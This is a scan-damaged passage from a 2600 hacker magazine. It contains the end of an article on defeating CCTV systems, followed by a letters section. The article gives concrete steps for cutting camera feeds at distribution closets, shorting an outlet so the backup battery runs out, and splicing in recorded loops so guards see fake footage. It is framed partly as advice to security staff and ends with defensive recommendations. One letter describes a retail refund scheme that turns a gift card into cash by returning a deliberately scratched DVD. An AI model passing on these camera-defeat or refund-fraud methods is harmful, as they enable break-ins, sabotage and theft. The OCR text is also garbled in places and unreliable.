Even with t he advent of network attach ed
video cameras, most of them are sti ll hard wi red.
If you unplug a camera t here wilL be many un­
pLeasant questions to go around. Do n't do this as
most cameras are Laid out to cover each othe r.
Unp lug one camera and t he othe r has fiLm ed you
doing it. If you want to t ake out a camera's cable,
find t he distribution box. This box works Like a

network hub; many cameras are wired back to
t his box and then one cabLe goes back to the se­
curity office. In a smaLLinstitution this will not
work as they will just be hard wired back to the
main post (SO L) .

If you can locat e the room that has the distri­
bution box, many things can be done. First off
you can just unpLug the camera there or switch
one camera feed with a different one. The secu­
rity staff will have a hard time Locating it t hem­
seLves especially off day shift. If you find t he
closet but cannot gain access, just Look for an
eLectricaLoutlet outside t he closet nearby. Most
wi LLbe fed from t he same circuit. Just short it out
causing t he distribution boxto die. This works re­
ally welt even if t hey are using a UPS (battery
backup) because if the power goes out overnight
t hey witl usuaLLy wait untiL morning to fix it and
the UPS wiLL onLy give th em about a half hour of
power and then go dead.

If you have uninterrupted access to t hese dis­
tribution boxes you can even record a normaL
feed and pLay it back later so security has some­
thing to watch when t he camera goes out. Fi rst,
sLip in a coax splitter in Line, t hen tape a normaL
feed. Then, using t he same splitter. detac h the
camera and pLay backyour recording. It is impor­
t ant to make sure you pLay back the same time
frame. For example, sunshine coming t hrough a
window at midnight raises questions even with
t he dimm est guards. Most time sta mps come
from the main system so your video wiLLeven
have th e right time superimposed on it.

Security should have the closets aLa rmed or at
least have a camera on them to catch anyone
messing with them. They must use a UPS and
they shouLd tie them back to t he operations cen­
t er so when t hey go out engineering wilL be
alerte d. The procedure shouLd be that these dis­
tributi on boxes are high priority and t hey cannot
wait until the next day to fix t hem.

Hopefully this gives security professionals
somet hing to think about and to act on. If you're
a bad guy and you try to use these tips for eviL
purposes, you will probabLy get caught. Most in­
stitutions do not have all t hese holes left open
but ifth ey do, maybe they need some encourage­
ment to pLug them up. Buy them a copy of 2600
and highLight t his art icle. After aLL t hey are pro­
t ecting you as welLand ifthey are doing a crappy
job, they are putting you at risk!

If you have any comm ents email me. If you
have a question I wi ll try to get back to you
w ithin your Lifetime or at least by t he end of
mine.
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Of Concern
Dear 2600:

I have to ask if it is possible and/or plausible t hat
my att endance at a 2600 meeting would be likely to be
conside red a violat ion of my probation by the Secret
Service. The reason I ask is because I am currently do­
ing five years probation prior to being sentenced.

Hiro
We assumeyou've got that backwa rds andyourpro­

bation came as a result of your sentence. It would be
rather odd to do the probation first and then get sen­
tenced. Legally, the only way you could get in trouble
(assuming the meetings themselves aren't specifically
forbidden in the cond itions of your probation) would be
if you conversed with known felons. Since there are
many idiots in powerwho assume that our meetings at­
tract only criminals, you could find yourself being has­
sled over this.

Dear 260 0:
To start wit h a positive account: Th e booksto re I've

purchased your magazine from for the last year and a
half always prominent ly displays 2600 at the front of
the computer magazine section at eye level. On top of
that , many times I see upwards of 15 copies of your
magazine on display in t hree rows, more shelf space
than any other in the store! This is at the Penn Bo ok­
store in Philadelphia (Barnes and Noble under the
guise of a university run bookstore) .

Nowfor the not so positive account: I've read t hat
you lose money from stores that don't scan your bar
code. At this same bookstore, the cashiers never scan
the bar code. They alwaysjust punch in the price. NowI
don't really know what to do in this situation. If I ask
them to remove the charge and then scan in the bar
code, I'm likelyto get some sort of incredulous expres­
sion on the cashier's face and (since this is Philadel­
phia) no action concerning my request. Should I go to
another store? Since hearing Bo rders is a big contribu­
to r to the Republican Party, I'mthinking r may need to
looka little harder for an alternative.

I hope more stores give you as much shelf space
without robbing you of your capital. Thanks for t he ex­
cellent magazine!

Noli
You should continue to buy it wherever it 's most

convenient for you. If we do well in these stores, it
makes it so much easier to sort out any problems. The
way the policy you mentioned works spedfically with
Barnes and Noble is that issues that are unaccounted
for are considered "shrink" which are basically issues
assumed to be stolen. This chain has the unique policy
of holding publishe rs partially responsible for shrink.
Our position is that there are numerous ways that is-

l..ll'.'.. '''; "'_"" f'1'J'1r I ~H~ , I ,I
sues could be unaccounted:.Joc .:fLlLmstance;- a de­
ranged store epJployeit ioUTa s /iiiP!y't hrowt1pub/ica'don
they didn't like in the trash ana thepu7ilJsh~o~uld be
penalized. - EiUt--:the';6r~~ iiiore'-ufe[y" s-cena-oorn~vo lves

cashiers simplY'no{credfting the magazine with a sale.
Ma nagement th en begins to wonder where all the mag­
azines went and assumes they all were stolen. The pub­
lisher gets charged and the store keeps th e proceeds
from the sale. At least, this is how it appears to us. If
someo ne in the know can reveal the facts, we'd be
happy to set the record straight. But from here it looks
horribly unfair to publishers.

Requests
Dear 2600:

So I sawthe request for collared shirts in 22:3. Se­
riously, t hinkabout t his. There's a dress code at t he ISP
where I work and t-shirts are verboten. I'd wear a 2600
polo at t he next company meeting with pride though.
Perhaps something in black?

Dave L.
We're always open to suggestion. And if enough

people suggest th e same thing, we'll try to make it hap­
pen.

Dear 2600:
A Big Corporate Tool's letter about diversity in

hacker clothing inspired me to finallyspeak up. I know
I can't be 2600's onlyfemale subscriber. Have you ever
thought about selling some girly-style t-shirts? Sure,
it' s possible to hack the men's t-shirts into something a
little more feminine, but it would be nice to have some­
thing that! could wear right out of t he box.

pseudofed
Finland

Again, with enoug h input on the subject we'll do
something. We just want to avoid making large
amounts of things based on one person's suqqestion
that nobody else really wants. Products like the hacker
hoola hoops, the "2600" dog sweaters, and those
"Hacker Quarterly" hubcaps really seemed like a good
idea at the time but ultimately failed to penetrate the
marketplace.

An Idea
Dear 2600:

Yo u had mentioned in your lett ers t hat verizo n has
a service that allows calls to be forwarded to your air­
plane seat and that failure to unforward afte r disem­
barki ng from the plane likely results in some hilarious
hijinks.

Wouldn't it be great if t he Verizon phone was smart
enough to automatically stop forwarding at t he end of
the flight? Yo u could tie t he forwarding in with your

P ag e 32----- - - - - - - - - - - - - - ---- - 2l:s a0 f1 a 9 a z i n e



flight number which wastied to information about your
flight, like arrival time.

I smell a moneymaking opportunity here.
MHes

Looking for Advice
Dear 2600:

I live in the U.K. and have been worki ng for a cou­
ple of years as a "security professional." Although I en­
joy my job, I am yet unfulfilled for I have not done
serious traveling so far and I am growing old.... I've
been saving some, and the plan is to quit myjob and
start my grand tour of Central and Southeast Asia some
time next year. I reckonit will last up to a year but who
knows? Why am I telling you all t his, you wonder. The
thing is that I'm a bit of a workaholic and a Westerner
at heart. Although 1 love traveling I'm afraid that trav­
eling alone willnot suffice to fill in the enormous gaps,
the artificial sense of boredom that the Western world
sadlyconst ructs when one does not work 9-5 and do all
the things weWesterners do. Where I am getting at is
this: I have been greatly inspired by your "Telephones
of the wor ld" section in the mag in some distant and
exciting places like Mongolia and Sri Lanka! This is ex­
actly the sort of place where I'm heading.

Long story short , I need a "th eme" for myjourney,
something to do when I'm on the road. Nottaking pic­
tures of public payphones as you've already done that,
but perhaps taking pictures of public computers, doing
comparative speed tests (ha!) at public libraries, plac­
ing backdoors all over (kidding!), raising Internet
awareness, or anything along these lines. I thought I
would ask you because both the magazine people and
the readers have often come up with some brilliant
ideas. Most probably the theme will be computer-re­
lated but generally I'm open to anything that can feed
the spirit and keepme busy and enterta ined. I would be
particularly interested in mixing stuff (such as mu sic
with computer science - artists with different instru­
ments). Ijust need some help and inspiration fromthe
comm unity!

Pascal Cretain
There are an infinite number of possibilities here.

Just the combination of technology lVith tradition
opens up a worldofangles. While cultures varydramat­
ically from place to place, you can always find simitsri­
ties in the people with regard to humor, adventure,
exploration, and developing new things. The ability to
communicate with the rest of the planet through the
Internet orothermeans can eitherenhancea culture or
push it towards deterioration. These are very vague
conce~:3. Onlyyou can fill in the specitics basedon who
you areand where your interests lie. We think it's safe
to say that whateveryou choose to do, you'll be in for
some surprises.

Dear260 0:
I loveyour magazine. NowI have a problem. I sus­

pect my girlfriend is cheating on me with some guy on
the net. Is there some wayI can recallall t he content of
their conversation and any images off of the hard drive
after they have been deleted? And is there a wayI can

hack into her and his (if at all possible) Hotmail ac­
counts? Please help!

phuocyu
We can't really spend a whole lot of time on rela­

tionship counseling. But it seems as though this isn't
exactlya matchmade in heaven. If you discovered that
she was cheating on you, that would probably put an
end to your romantic bliss right there. But what if she
wasn't cheating and then she fo und out that you were
spying on her? That wouldn't have a happy ending ei­
ther. But don't feel bad. We get asked this question
more than any other by fa r. There's only one solution
we've been able to come up with that really seems to
work. Couplesneed to makea solemn vowto neveruse
Hotmail.

Dear 2600:
I want to start off and say that I'm now a second

year subscriber and thanks for putting out a great zine
where the mentality is refreshingly superior. ( WAl108
said something in 22:3 about "The Company."Well, t he
penal system I'm currentlydetained in switched to Ver­
iron within the past year. The inmates are now being
brutally extorted. Even though I placed a collect call to
a destination 1100 miles away, I find $36 for 15 min­
utes excessive. I've tried various methods to overcome
this obstacle. If anybody defeats this or knows how,
please spill. There just seems to be no resolution in
sight.

88loGan14
The onlyresolution is to pressure those phonecom­

paniesand penal institutions that engagein thissort of
extortion. In most cases inmates don't have any choice
as to which phone company to use and how they can
place theircalfs (collect, prepaid PINcode, etc.], Since
we're talking about prisoners, society is programmed to
not care. But even those who feel that all prisoners are
guilty should realize that it's ultimately their families
whohaveto paythese hugeand unfairbills.

Inquiries
Dear 2600:

I am writing to inquireabout the possibility of writ­
ing an article regarding the Muni-M eters used for park­
ing in Manhattan. I've done some initial research but it
would be helpful to know if someone else has already
covered this subject so as not to waste a significant
amount of time fleshing out the details.

Mike Moore
It's pretty easy to see if the subject has been cov­

ered beforeby rummaging through the article titles 10­
cated in the back issues section of our online store
(http://store.2600.com). We'll saveyou the trouble of
doing that by saying that nobody has yet written such
an article. We would be happyto consider it.

Dear 260 0:
I have found previous issues with the print too

small to continue my subscription. Are your present is­
sues larger or easier to read?

dt2 ra711
We've gotten occasional complaints over the years
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about this and have tried to find a common ground
everyone can live with. If we make the size too big, we
have to either print less or add pages which could drive
the price up. Toosmall and our readers go out of their
minds staring at the page trying to decipher the text.
Hopefully you 'll pick up this issue and be able to see
these words so you can tell us how we're doing.

Dear 2600:
Hello, my name is Tim and my Myspace account got

hacked into . I was wondering if t here was any way th at
you could hack backinto it and get it back for me.

Tim
Firstoff, that's what the last guy said. And now look

what happened . But seriously, if someone indeed
"hacked" your Myspace account, we'd be interested in
knowing the technique they utilized. If someone simply
guessed your password or shoved you aside and took
overyour session, that's not really a bona fide hack. It 's
also quite easy to get your account back on your own.
Allyou have to do is click on the selection on the login
screen for forgotte n passwords and they will send you
an email to the address you gave them which willallow
you to log back in. If you also managed to lose access
to that email address, you really ought to th ink about
rebuilding your life before displaying it on Myspace.
Start by learning how to protect your privacy by using
hard-to-guess passwords, keeping them to yourself,
and otherwise protecting your various accounts.

Dear 2600:
On th e cover of 22:3. is t hat the shadow of a Mc­

Donald's sign?
Decay

Perhaps the cover of 22:4 answered your question.

Dear 2600:
I'm 15 and I got myfirst issue of 2600 today. I love

t he magazine and I'm t hinking about subscribing and
maybe writing an article (so I get a t-shirt and free
year). My dad won't let me get a subscription. Ca n you
put it in a package?

zack
Subscribers get their copies in envelopes that don't

even have the name of the magazine printed on them
for people such as yourself who live under occupation.
The same is true of everything we send out. Your article
stands a much greater chance of being decent (and
therefore accepted) if you wn'te it with the intent of
sharing somet hing you 're enthusiastic and knowledge­
able about rather than just writing it to get stu ff in re­
turn. Our theme over the years has been that
knowledge and the spreading of information are re­
wards in themselves. That said, we will always give as
much cool stuff as we can to those who contribute such
elements to our pages.

Dear 2600:
Just out of curiosity, what two encryption types and

bit levels does 2600 use to store subscription data?
Peter

Verynice try there but there are times when secu­
rity through obscurity actually is an advantage. The
number of people who know the answer to your ques-

tion could easily fit inside a residential bathroom. But
we would never try that because it would involve all of
them being on the same continent which in itself is a
security risk. But we've already said too much.

Dear 2600:
Wh at is htt p://www2.census.govj pubj outgoing?

Cody
Pretty damn interesting is what it is.

Dear 2600:
I was watching TV today when my phone rang. I

looked atthe Caller 10, saw "U nknown," and thought I'd
let t he machine pickit up. To my surprise, when my ma­
chine picked up I heard a phone ringing and t hen t he
words, "Thank you for calling the verizon Wi reless voice
mail system. If you have a mailbox on t his syste m
please press pound followed by your mailbox number."
This made me get up.

Th en a random tone was heard. It didn't sound like
someone pressing a button on t heir phone but more
like a machine noise no human is ever supposed to
hear. Immediate ly after t he tone, t he voice from Veri­
zon said, "Please ente r the number now. If you don't
have a touch tone phone oryou require assistance, stay
on t he line." Right in t he middle of t he word "assis­
tance" t he tone can be heard again. Th en th ere was a
pause, t hen "Please hold, someone will be wit h you
shortly." Moments afte r t hat , "I'm sorry, an operato r is
not available to help you. Sorry you're having trouble.
Please try again later. Goodbye." Then t he message
ended.

I am in t he Phoenix, Arizona area and it really
piqued my interest as to howt his happened. How could
someone get my number to call their voice mail?

Jsna ke
There are all sorts of ways this could have hap­

pened. Someone could have simply used three way dial­
ing to connect you to another number. Or someone
could have called you and then trans ferred the call to
another number which picked up with a voice mail
recording. Most times when things like this occur it's
because someone didn't hang up properly which causes
their phone to ring back. If they don't pick up when this
happens, the call could wind up going to voice mail.
Not knowing more about the "random tone"and assum­
ing it's not call waiting (which we presume would sound
familiar to you), we really can't speculate on what that
might have been. But one thing seems certain to us:
your phone wasn't actually dialing anything.

Dear 2600:
Ljust received t he first issue of mynewsubscription

(22:3) and read t he enti re t hing in less t han a day. I
enjoy t he articles and lett ers from othe r subscribers
and will continue to subscribe as long as we are both
around. I have had several people ask me why your
magazine is called 2600. I haven't had an answer for
th em so I figured I would go straight to t he source. Why
is your magazine called 2600?

Brian
Apart from the Hotmail thing, this is the question

we get asked the most. 2600 hertz was a magical fre-
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quency back in the early days of phone phreaks which
allowed a mere end user to seize control of a long dis­
tance trunk line and route themselves all over the net­
work, internally, externally, overseas, etc. This was
when in-band signaling was used to control phone
calls, meaning the various tones would go along the
same circuit that your voice used. These days all of that
is done out-ot-bsnd and you don't hear any of the cool
sounds. There are exceptions in increasingly few places
however. As to why we named the magazine "2600," the
name to us symbolized liberation, control of technol­
ogy, and exploration - all without using a single letter.

Dear2600:
I am going for my Certified Et hical Hacking certifi­

cation and was browsing a forumjotti ng downnotes for
good study guides when I came across a thread where
t hese two guys went back and fort h about what was
ethical and what wasn't while t hrowi ng insults at each
other.

I am torn between what both are saying because I
feel t hat they each had valid points. The guywho first
posted was saying t hat he didn't like t he fact t hat peo­
ple who make movies, music, programs, etc. charge an
insane amount of money for t heir product. Also, t hat
because t hey have millions and billions of dollars, t hey
are not going to care if t hey rip us off for their product.
In addition, because t hey have so much money, they re­
ally aren't going to feel t he effects of losing a couple
million here and t here. Therefore, he felt justified in ei­
t her t rying to find a much cheaper way of attaining
what he was looking for or not paying anything at all.
Howeve r, the moderator had a very valid point as well
in sayingt hat this does not justify "stea ling."

My question is what are your t houghts on t his? like
I said earlier, I am at a loss because I am in t he same
boat as the person who posted first . I am in school.
working twojobs, and can barely afford anything t hat is
"for me." It is extremely difficult to go afte r my CEH
when it costs a few hundred to take t he test and I can­
not afford even $50 right now. The message t hat I feel
he was t ryi ng to comm unicate is that when you have
products, services , or training courses t hat are priced
so high, t hey keep "the Li tt le guy" from getting his feet
on t he ground wi thout first having to spend a lot of
money and num erous years waiting to just get his foot
on t hat first ste p of t he ladder. But does t his justify not
paying or paying much less than what t hese companies
want for their product?

On a side note, in 22:4 someone wrote asking about
t he copyright owner of articles t hat are printed in your
fine publication when t hey are t he aut hor. But I feel
that it should have been asked of all t he articles, not
just ones t hat the cont ributor wrote. If I want to post
an article out of your magazine t hat I t hought was in­
spiring or really cool. amI allowed to do t hat as long as
I give proper credit? Thank you for reading t his and
thank you for putting out such an awesome magazine.

P3nguln
This is a complicated issue with no real black and

white answer. It' s generally not right to "steal" some­
thing and all of the j ustifications put forth usually fall
flat. But is it right if the item in question is priced out

of reach of those who need it? Few would argue that
stealing food from someone who has plenty is wrong if
starvation is the alternative. Or if a company holds the
vaccine to a deadly disease and refuses to release it to
those who can't afford it, it 's more or less the duty of
every civilized person to take it from them one way or
another, whether it's getting their secrets or breaking
down their doors. At some point, the rules of humanity
supersede the rules of commerce.

Taking things that you would "like" to have but
upon whichyour survival is not dependent is fairlyhard
to excuse from a legal standpo int. We all understand
the moral ju sti fication of "sticking it to the man" for
overpricing various things but if you're building your
own music libraryand not paying a penny for it, you're
not really coming up with a good alternative for anyone
other than you . The goal is to get rid ofany unfairness
that is inherent in the system so that everyone has an
opportunity to get what they need and that people who
actually create the stuff aren't left out in the cold. All of
this is only made more complicated by the non-tang ible
nature of many of the items in question.

Concerning our policy on articles, we don't have a
problem with posting an occasional article or even
reprinting it in another magazine so long as full credit
is given. Ultimately it's up to the actual writer of the ar­
ticle to grant or deny such permission.

Dear 2600:
Firstly, thanks for an excellent publication! I was

introduced to 2600 about a year ago by a good friend
and fellow hacker who showed mea couple of old issues
and, needless to say, I was hooked from the start! I
would like to take out a subscription, however, I doubt
that you'd accept checks/postal orders in pounds ste r­
ling (being in t he U.K. ) and I've never trusted wire
t ransfers or mailing cash th rough t he post. Does your
bank account have an IBANor SWI FT/BIC number that
readers can use to t ransfer subscription fees to you in
U. S. dollars? Or alternatively, does 2600 have a PayPa l
account t hat could be used for the same purpose? Also,
would you accept a lifetime subscription from someone
living in the U.K. and how much would it cost? Finally, I
would like to ask if there are any plans for a U.K./Euro­
pean version of 2600? Although a lot of t he computer
related st uff wi ll work over here, t here seems to be
not hing covering phone and ot her system hacking out­
side of t he U.S.A. There are a lot of different systems
that can be hacked in t he U.K. and Europe but, to my
knowledge, no publication like 2600 exists t hat can
bring such hacks/ loopholes to t he atte ntion of t he gen­
eral public.

Death
We j ust started using PayPal on our online store

(http ://store.2600.com). You need to set up an ac­
count with them and it should start working. Lifetime
subscriptions are the same price everywhere (US $260)
which makes it an even bet ter deal for those overseas.
Lots of people want to have versions of "2600" in their
countries which is quite flatt ering but ultimately such a
publication must actually come from the people of that
country. We're always happy to help insofar as giving
advice, getting articles reprinted, etc. Wedo also try to

S P r i n 9 2 aab ----------- - - - - - - - - - - - P age 3 S



keep an international focus on the many topics that we
discuss in these pages.

Dear 2600:
Ca n someone tel l me all about the law regarding

purchased and licensed software? How likely is it to be
enforced? In particular, I am interested in t he applica­
tion of that law towards my activities in my home be­
hind closed doors as I atte mpt to make useful a 1995
version of Uuickbooks Pro, which I am locked out of
since I changed computers and lost the product key.
The Quickbooks people say t his version is no longer
supported so t hey cannot give me a substitute key.

Can someone tell me all about some successful
hacks to get pastthe damn product key lock? In partic­
ular, I'd like to open t his obsolete software to my pry­
ing eyes. Maybe some lovely machine code could the n
be recompiled in some higher level language. Oris this
disk truly dead?

Willie, Hacker Wannabe
If there is any wayyou can prove that you actually

bought the software, it see ms hard to imagine that any­
one would go after you for att empting to get a new key
in order to use it. Before going down that road, climb
as high as you can in the corporate infrast ructure to be
sure that this "nonsupport" is in fact their policy and
not j ust the words ofa lazy customer service rep.

Accolades
Dear 2600:

I received mymissing issue the other dayand would
just like to say thanks foryour prompt response. Th anks
again for such a wonderful magazine. The ideas and
knowledge t hat I have gleaned from 2600 have been in­
valuable in many applications. I find t hat a great deal
of t he t hings that I have learned have been especially
useful in several of my jobs and have saved me from
several blind alleys and silly mistakes in my quest for
wisdom and understanding. I don't t hink t hat I could
adequately describe how wonderful I think your maga­
zine is. When t he powers that be finally clamp down on
you, I think t hat they will eventually realize t hat they
have done t he world, not just the world of computing, a
tremendous disservi ce. Yo ur sense of intellectual in­
quiry and questioning I hope never gets stamped out
by some Republicrat zealot. This sense is what moves us
forward and makes us as individuals and as a society.
Unfortunately, t here are people who can and do misuse
these abilities for t heir own illicit ends and it makes t he
rest of us look bad. But t hen any formof knowledge can
be misused. Let 's just hope t hat there are people like
you and meto always keep an eye out and stop themor,
even better , t o redirect these people towards a better
use of their abilities. Well. t hanks for letting me rant
and ramble. If you wouldlikeI wou ld be willing to writ e
an article that may or may not be of interest to you. Let
me know to whom I should send an article and I will at­
tempt to share some of mygems of insight.

Joe S.
Thanks for you r kind words and the foreshadowing

of doom. Always a pleasure to hear. You can send your

articles to articles@2600.com.

Dear 2600:
I love reading your magazine. The lett ers section is

myfavorite. I noticed t he lottery numbers on the apple
on the table of conte nts page in 22:4. Th ey're t he Lost
numbers. They add up to 108 and 4-8-15-16-23-42
equals -100 . Can't see a pattern though.

mic911
We don't claim to have the answer but if you multi­

ply them you wind up with a phone number. We've
found that everyone who has that number seems to be
annoyed when their phone rings. If that 's not a pattern
we don't know what is.

Dear 2600:
My mother-in-law renewed mysubscription to 2600

for an additional two years. It is nice to know t hat even
the elderly can be enlighte ned. Anyway, I got t he first
issue and laughed out loud at t he contents, especially
the apple. Ma ny people believe t hat Apple Computers
blew it years ago and "lost" t he market. I find it ironic
t hat you wouldplacet he "lost numbers"in t he apple. Of
course, t he imagery of the snake and apple from t he
garden of Eden did not elude me. Interesting. Is t he is­
land in Lostthe Garden of Eden?

Kee p up t he great workand mag.
Part11

Dear 2600:
My husband and son subscribe to 2600 but t his

evening is t he first time I've picked it up. Couldn't un­
dersta nd t he technical parts (writing teacher, not com­
puter brain) but t he long and delicious lette rs section
thrilled me! Made me feel so much better about our
country. In fact, it made mefeel more secure t han I've
felt for a long time. Knowing t here are so manysmart
people out the re who can protect us from Big Brother
lifts my heart. 2600, you're helping to make the world
safe for democracy. Bless you.

Queenie Marbleblidge
New Mexico

All in a day's work.

Greetings to t he Fifth Hope Mission:
I am so happy when I could visit your net . You had

good plans. We are thrilled about your Hope. Please ac­
cept my heartiest congratu lations for conducting good
programming. May God continue to grant you similar
successes all t hrough your plans. God has duly re­
warded your sincere prayers.

I learned about your youth Ho pe, your speakers, lo­
cations, etc. Oh! It is very great.

I am N. Rajasekharam. We had youth ministry. I am
working for yout h. I t hink I will be introducing my
youth members to your Hope. Please cooperate me. I
w ill join as a volunteer in your Hope. I wi lljoin, I will do
work in your mission with your "Jesus compassion." I
will not pay for cost of registration. Please understand
me. I will give my bio-data. Please accept me. Please in­
troduce myministry wit h your dearest friends.
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I will pray for "our Hope." Pray for my ministry and
me. Send me your information. You will do registration
in Hopein myname.

Thanking You
In Hope

N. Rajasekharam
OK, we have no idea what any of that was about. It

came to us in a registeredletter from India from some­
one who was obviously looking at the Fifth HO PEweb­
site. True to his word, he sent us his "bio-dets" which
was his family historyand dateof birthalong with every
emailaddress and handle he's ever used. We ought to
drop the whole hackerangle andjust set up a religion.
We already ownhope.net so we're halfway there. And if
we can get testimonials like this without even trying,
imagine what we could do if we really put our hearts
into it.

Adventure
Dear 2600:

Hope I'm doing this right. This is t he first time I've
ever sent in an article. This is a real life experience th at
I went t hrough just today and I'm sure you'll find it in­
teresting.

I walked into Wa l-M art with some clothes, pur­
chased as a gift , t hat were t he wrong size. The lady be­
hind the counter asked for my receipt, which of course I
didn't have. I'm in t he habit of wrinkling them up and
t hrowi ng them away on the way out of t he store. She
told me th at because my purchase was over $25 and I
didn't have a receipt she couldn't give me cash. She
could only give me a Wa l-Mart gift card. I protested to
no availand even spoke to a manager. All I kept getti ng
was "store policy, nothing we can do." I asked "(an I
purchase something with t his gift card, bring t he item
and t he receipt up to t he desk, and get my money
back?" No one seemed to be sure on t his point so I gave
it a try. It didn't work. The compute r knewt he item was
purchased wit h a gift card and it wouldn't give me cash.
I continued myargument and kept getti ng a resounding
"No!" Out of anger some inappropriate language was
used and I was asked to leave the store. I headed across
town to t he other Wa l-Mart, gift card in hand, hoping
to deal wit h a fresh group of people when t he idea
struck me. I walked into t he second Wal-Ma rt , went
straight back to electronics, and bought a DVD for a lit­
tle over t he wort h of my gift card. I took said DV Dout­
side, opened it, scratched t he crap out of it, and
brought it backin. I t hen exchanged the scratched DVD,
purchased wit h a gift card, for a new DVD t hat was pre­
sumably unscratched. Th e lady at the counter asked me
for my old receipt , glanced at it, and t hrewit away. She
scanned the item, pushed some buttons, scanned t he
newitem, then handed me a new receipt .

I walked around the Wal-Mart for a while t hen went
back to t he desk. The same lady helped me. I said I
round a more fitting present at a different store and
asked for my money back. She took my receipt, scanned
it and t hen t he item, and handed me t he price of t he
item in cash. As a footnote, there is always a way
around t he system and losing your head and yelling at
t he Wal-Mart employees isn't it. Even if t hey are incom­
petent jerks.

Th ank you for reading my article. I'm sure you'll
find it useful. I hope it's fitti ng for your magazine.
Please feel free to correct any spelling or punctuation
errors I may have missed and change the format to fit
your book. Asa side note I enjoy your book immensely
and wi ll hold no ill wi ll if myarticle is not used.

DrahconMan
We have to wonderwhy if the original item was the

wrong size you didn't simply exchange it for one that
fit. Regardless, it'sa fascinatingtale but rathershort to
be considered an article. And it doesn't sound like
there's a whole lot of detail you could add in order to
stretch it out to six pages. 50 that's why it wound up
here in the letters section instead. We must say though
that you seem to be a difficult person to shop fo r. Wal­
Ma rt should probably be grateful people aren't giving
you gifts that are worth a lot sinceyou would then have
to destroysomethingof equal value in orderto get jus­
Dee.

Stupid Stuff
Dear 2600:

I am a sysadmin at one of the larger school corpo­
rations in a midwestern state . I run security, run the
firewall software, do backups, investigate intrusions,
give advice, etc., etc. Typical sysadmin stuff. I keep a
subscription to your magazine. I find little resist ance
from peers or administratio n about keeping a copy
around.

I am sometimes confronted with students who are
considered hackers. Afewyears ago I was introduced to
a young man (we'll call him Tom). Tom was a real loner
of a kid and seemed kind of down. He had been caught
"hacking" some years before. As weall knowthe se types
of evil "hackers" are ofte n just misunderstood . After his
hacking incident his punishment was to not use a com­
puter for two years.

The enti re school corporation, from the elementary
schools to t he vocational education depart ment, knew
about t his kid. He had a "superhacker" reput ation. He
start ed hanging around myoffice and ta lki ng wit h me.
I work in an environment t hat would allow him to have
access to some big holes. I had administrators call me
and warn me t hat it might not be safe to have this kid
hanging around consoles and logged in machines. They
were scared.

When I was told what this "hacker" had done, I pro­
ceeded t o laugh hyste rically until tears were pouring
out of my eyes - all to the blank and expressionless
stares of t he people who to ld me about it. What a
bunch. You want to know what he did? He reset t he
proxy setti ngs in Netscape so it didn't go t hrough t he
filter syste m I was testi ng. Yeah! What a hack! This kid
got punished and derided for changing t he proxy in
Netscape! What a bunch of morons.

I have found school corporations so totallyinept at
understanding anything to do wit h curiosity or discov­
ery. It's a sad t hing when a kid like t his has th e biggest
reputation of hacking of anyone in t he student body. I
have continually been disgusted wit h their t reatment of
students t hat "hack." Th ey just want to enforce their
petty litt le rules so t hey wi ll seem validated by t heir
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subseq uent autho rity.
Shouldn't educato rs understand th e thirst for

knowledge? Believe me, th ey don't ! Their definiti on of
obtaining knowledge is so narrow that it only covers
going to class. God forbid we could learn anyt hing on
ourown! Do that and you're a hacker!

I have mentioned to my superio rs th at I would like
to take the kids that get caught hacking and interview
them , then put them to work. Their answer: That would
be rewarding misbehavior. Instead th ey run a rod up
t heir butt and hang th em like a t rophy for the rest of
t he student body to see .

Hey teachers, get a clue! If you don't like computers
and are scared by the kids who know 10k times more
tha n you, retire now! You'll be lengthening your life
and making life bett er for teenage rs who actual ly need
to learn.

GMan in the Hole
The biggest defenseagainst this kindof stupidity is

to simply get the details out to the public. By doing
that and by reaching out to this kid, you've helped out
on many levels. We can only wonder how manypeople
have wound up taking a bad road in life because so
manymorons have told them they wereguilty of some­
thing. Idiots in authoritymust be challengedat every
opportunity.

Dear 2600:
Has anyone else noticed the recent surge in stupid

password policies? In th e past two month s I've been
confronted by countless 8-10 alphanumeric onLy pass­
word systems. My work password once kicked ass with
special characters and spaces. Now it has been man­
dated to be lame. I opened a hosting account recently
with t he same requirement : 8-10 alphanumeric, no spe­
cial characte rs. Did t he whole world recently decide to
subscribe to the weakest sta ndard of authenticatio n? I
mean, knowing t hat t he lengt h of a password is 8-10
characters and alphanumeric makes it that much easier
to crack. And to make thi ngs worse, the last place I had
to change my password not only was 8-10 alphanu­
meric, but the fi rst character had to be a lett er! Way to
go. guys! You've just made it one notch easier for script
kiddies. At this rate , pretty soon we'll be using t he
same lame passwords th ey had on t he movie Hackers:
God.

Alop

Dear 2600:
Not sure if you care, but thought you should know

that someone is scanning your back issues and selling
them on eBay.

M
People who do things like this are pure slimebags

who not only want to rip us off but feel they should
makea profitdoing so. We trust ourreaders won't help
them.

Dear 2600:
My friend and I have been reading 2600for a while

now. He had recently come across a torre nt site . I must
admit I use tor rents frequent ly but what rea lly infuri­
ated me was that th ere was a to rrent for 22:1, t he

spring issue of 2005. Who would do such a moronic
t hing as upload 2600 to a torrent site, let alone scan
each individual page. That really ticked me off.

XSnidalX
There's a verybig difference between reprinting an

article and completely ripping us off by duplicating an
entire issue and redistributing it to the whole world.
Unlike the record companies, we're not pricing things
out of the reach of our customers so the "moral argu­
ment: doesn't even fly here. At best this is someone
who is very misguided who thinks that everything
should be free. If they can convince ourcreditors to live
this way, we'lljump right on board. The other possibil­
ity here is that this is someone who thinks we'resome­
how hypocrites for engaging in free speech and daring
to sell a magazine. We neverunderstood that logicand
the various peopleover the years who have spouted it
have usually turned out to be entities who just didn't
want us around for one reason or another. As we don't
have advertising, the only two fa ctors in the equation
are us and our readers. If the latter stops supporting
the former, our existence comes to an end. It really
couldn't be simpler. Most people understand this as
witnessed by the occasional letters we get from those
alerting us to such things.

Dear 2600:
I have been a fanatical reader of yours for a couple

of years now and came upon a problem recently. I am
currently in basic t raining at Fort l eonard Wood in Mis­
souri. After missing a couple of issues I wrote home to
see if my parents would send me t he ones I had missed.
They obliged and sent t hem to me. However, when I
ope ned the envelope here the y were taken from me. I
was told tha t it was almost illegal what my parents did
and that my drill sergeant is going to have a field day
meeting them. I am now watched every time I'm around
any electronic device, especially computers, and I am
hazed all the time for being a "hacker" and an evil. bad
person. It' s a shame people don't understand t hat th e
only crime I've ever committed is that of curiosity.

Death by Microsoft
Andthese arethe values they'regoingto be expect­

ing you to defend? Maybe it's time we sent every drill
sergeant in the country a "2600" gift basket. After sli.
howmanyof them could therepossibly be?

Observations
Dear 2600:

I was watching my dad pay bills one day (fun huh?)
when out of nowhere thi s ad popped up. It advertised a
way to "outsmart th e hackers: I conside r t his yet an­
